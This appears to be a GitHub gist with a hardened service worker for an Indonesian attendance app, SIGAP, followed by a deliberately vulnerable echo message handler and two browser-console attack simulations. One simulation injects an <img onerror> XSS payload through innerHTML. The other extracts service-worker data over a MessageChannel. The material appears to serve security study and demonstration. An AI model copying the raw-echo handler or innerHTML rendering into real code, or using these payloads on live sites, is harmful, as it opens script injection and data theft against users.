Skip to content

Instantly share code, notes, and snippets.

@Xnuvers007
Last active December 9, 2025 19:37
Show Gist options
  • Select an option

  • Save Xnuvers007/74cef415e4c4c155b4a15358c112e7a0 to your computer and use it in GitHub Desktop.

Select an option

Save Xnuvers007/74cef415e4c4c155b4a15358c112e7a0 to your computer and use it in GitHub Desktop.
postMessage Vulnerable Exploit ?
// Service Worker untuk SIGAP GPS
// SECURITY FIXED: Insufficient postMessage Validation patched
// Install event - tidak cache apapun (No Cache Mode)
self.addEventListener('install', event => {
event.waitUntil(
// Langsung skip waiting agar SW baru segera aktif
self.skipWaiting()
);
});
// Activate event - clear semua cache lama
self.addEventListener('activate', event => {
event.waitUntil(
caches.keys()
.then(cacheNames => {
return Promise.all(
cacheNames.map(cacheName => {
return caches.delete(cacheName);
})
);
})
.then(() => {
return self.clients.claim();
})
);
});
// Fetch event - Network Only Strategy dengan Offline Fallback
self.addEventListener('fetch', event => {
const request = event.request;
// Skip non-GET requests (POST/PUT/DELETE langsung ke network)
if (request.method !== 'GET') {
event.respondWith(fetch(request));
return;
}
event.respondWith(
fetch(request)
.then(response => {
return response;
})
.catch(error => {
// Fallback untuk offline - return halaman HTML sederhana
if (request.headers.get('accept').includes('text/html')) {
return new Response(`
<!DOCTYPE html>
<html>
<head>
<title>Offline - SIGAP</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body { font-family: Arial, sans-serif; text-align: center; padding: 50px; background: #f5f5f5; }
.offline-message { background: white; padding: 30px; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); max-width: 400px; margin: 0 auto; }
.icon { font-size: 48px; margin-bottom: 20px; }
h1 { color: #333; margin-bottom: 20px; }
p { color: #666; line-height: 1.6; }
.retry-btn { background: #696cff; color: white; border: none; padding: 12px 24px; border-radius: 6px; cursor: pointer; margin-top: 20px; font-size: 16px; }
.retry-btn:hover { background: #5a5fcf; }
</style>
</head>
<body>
<div class="offline-message">
<div class="icon">📱</div>
<h1>SIGAP</h1>
<p>Koneksi internet tidak tersedia. Silakan periksa koneksi Anda dan coba lagi.</p>
<button class="retry-btn" onclick="window.location.reload()">Coba Lagi</button>
</div>
</body>
</html>
`, {
headers: { 'Content-Type': 'text/html' }
});
}
// Untuk file statis (img/css/js) saat offline
return new Response('Offline - No cache available', {
status: 503,
statusText: 'Service Unavailable'
});
})
);
});
// Background sync (Opsional)
self.addEventListener('sync', event => {
if (event.tag === 'background-sync-presensi') {
event.waitUntil(doBackgroundSync());
}
});
async function doBackgroundSync() {
// Implementasi logic sync disini
}
// Push Notification Handler
self.addEventListener('push', event => {
if (event.data) {
const data = event.data.json();
const options = {
body: data.body,
icon: '/assets/img/favicon/favicon-192x192.png',
badge: '/assets/img/favicon/favicon-96x96.png',
vibrate: [100, 50, 100],
data: {
dateOfArrival: Date.now(),
primaryKey: data.primaryKey
},
actions: [
{ action: 'explore', title: 'Buka Aplikasi', icon: '/assets/img/icons/checkmark.png' },
{ action: 'close', title: 'Tutup', icon: '/assets/img/icons/xmark.png' }
]
};
event.waitUntil(self.registration.showNotification(data.title, options));
}
});
self.addEventListener('notificationclick', event => {
event.notification.close();
if (event.action === 'explore') {
event.waitUntil(clients.openWindow('/'));
}
});
// =========================================================================
// SECURITY CONFIGURATION
// =========================================================================
// Daftar origin yang diizinkan berkomunikasi dengan Service Worker
const ALLOWED_ORIGINS = [
self.location.origin,
"https://hris.sigap.cloud"
];
/**
* Validasi apakah origin aman untuk menerima response
* @param {string} origin - Origin yang akan divalidasi
* @returns {boolean} - True jika origin aman
*/
function isOriginAllowed(origin) {
const allowed = ALLOWED_ORIGINS.includes(origin);
if (!allowed) {
console.error(`[SECURITY VIOLATION] Origin ditolak: ${origin}`);
console.error('Origin yang diizinkan:', ALLOWED_ORIGINS);
}
return allowed;
}
/**
* Kirim response hanya jika origin valid
* @param {MessagePort} port - Port untuk mengirim message
* @param {string} origin - Origin pengirim
* @param {object} data - Data yang akan dikirim
*/
function sendSecureResponse(port, origin, data) {
if (!port) {
console.warn('[SECURITY] No port available for response');
return;
}
if (!isOriginAllowed(origin)) {
console.error('[SECURITY BLOCKED] Response tidak dikirim ke origin:', origin);
// Kirim response error ke origin jahat
port.postMessage({
error: 'Unauthorized',
message: 'Origin not allowed'
});
return;
}
// Origin valid - kirim data
console.log('[SECURITY OK] Response dikirim ke origin valid:', origin);
port.postMessage(data);
}
// =========================================================================
// SINGLE MESSAGE HANDLER (FINAL & SECURE)
// =========================================================================
self.addEventListener('message', (event) => {
// ---------------------------------------------------------------------
// SECURITY CHECK: VALIDASI ORIGIN (WAJIB BARIS PERTAMA)
// ---------------------------------------------------------------------
// Cek apakah pengirim ada di daftar putih (whitelist)
if (!isOriginAllowed(event.origin)) {
console.warn(`[SECURITY BLOCK] Pesan ditolak dari origin: ${event.origin}`);
return; // BERHENTI DISINI
}
// ---------------------------------------------------------------------
// DATA VALIDATION
// ---------------------------------------------------------------------
// Pastikan data ada dan berbentuk objek sebelum membacanya
if (!event.data || typeof event.data !== 'object') {
return;
}
// Jika Anda ingin log pesan yang valid (sudah lolos cek di atas), taruh di sini:
if (event.origin === "https://hris.sigap.cloud") {
console.log("[SECURE] Pesan valid diterima dari HRIS:", event.data);
}
// ---------------------------------------------------------------------
// PROCESS MESSAGE (DENGAN VALIDASI RESPONSE)
// ---------------------------------------------------------------------
const type = event.data.type;
switch (type) {
case 'SKIP_WAITING':
self.skipWaiting();
break;
case 'GET_VERSION':
// SECURITY: Gunakan helper function untuk validasi response
sendSecureResponse(
event.ports?.[0],
event.origin,
{
version: '1.0.0-secure',
origin: self.location.origin,
timestamp: Date.now()
}
);
break;
case 'CLEAR_CACHE':
event.waitUntil(
caches.keys().then(keys => Promise.all(
keys.map(key => caches.delete(key))
))
);
break;
case 'PING':
// SECURITY: Gunakan helper function untuk validasi response
sendSecureResponse(
event.ports?.[0],
event.origin,
{
status: 'ok',
timestamp: Date.now()
}
);
break;
default:
break;
}
});
console.log('Service Worker: No Cache Mode initialized');
self.addEventListener('message', event => {
if (event.data && event.data.type === 'SKIP_WAITING') {
self.skipWaiting();
}
if (event.data && event.data.type === 'GET_VERSION') {
event.ports[0].postMessage({ version: '1.0.0-no-cache' });
}
if (event.data && event.data.type === 'ECHO_TEST') {
event.ports[0].postMessage({
reply: event.data.payload // <--- Memantulkan input user mentah-mentah
});
}
});
// === SCRIPT SIMULASI XSS SUKSES ===
console.log("💀 Memulai serangan DOM XSS...");
const targetSW = navigator.serviceWorker.controller;
const channel = new MessageChannel();
// Setup receiver yang CEROBOH (Vulnerable Client Code)
channel.port1.onmessage = (event) => {
console.log("Terima balasan, mencoba render ke HTML...");
// INILAH PENYEBAB XSS:
// Client mengambil data dari SW dan memasukkannya ke innerHTML tanpa filter
const container = document.createElement('div');
container.innerHTML = event.data.reply;
document.body.appendChild(container);
// Catatan: <script> biasa sering diblokir oleh HTML5 saat via innerHTML,
// jadi kita pakai <img onerror>
};
if (targetSW) {
// Payload Jahat
// Kita pakai <img> yang error, sehingga memicu event 'onerror' berisi alert
const maliciousPayload = `<img src=x onerror="alert('HACKED! XSS BERHASIL!'); confirm('Data Anda dicuri?');">`;
targetSW.postMessage({
type: 'ECHO_TEST',
payload: maliciousPayload
}, [channel.port2]);
}
// === SCRIPT SIMULASI PENYERANG (XSS / Console) ===
console.log("🕵️ [ATTACKER] Memulai percobaan pencurian data...");
// 1. Cek apakah ada Service Worker yang mengontrol halaman ini
const targetSW = navigator.serviceWorker.controller;
if (!targetSW) {
console.error("❌ [ATTACKER] Gagal: Service Worker belum aktif atau tidak mengontrol halaman ini. Coba refresh halaman.");
} else {
// 2. Buat saluran komunikasi rahasia (MessageChannel)
const saluranJahat = new MessageChannel();
// 3. Siapkan "Telinga" untuk menangkap balasan
saluranJahat.port1.onmessage = (eventBalasan) => {
console.warn("%c✅ [SUCCESS] DATA BERHASIL DICURI!", "color: red; font-size: 16px; font-weight: bold;");
console.warn("Isi Data:", eventBalasan.data);
console.log("Data ini harusnya rahasia, tapi SW mengirimnya tanpa validasi.");
};
// 4. Kirim pesan pancingan 'GET_VERSION'
// Karena SW rentan, dia akan membalas tanpa mengecek siapa pengirimnya
console.log("📨 [ATTACKER] Mengirim payload request...");
targetSW.postMessage(
{ type: 'GET_VERSION' },
[saluranJahat.port2] // Sertakan port jahat untuk balasan
);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment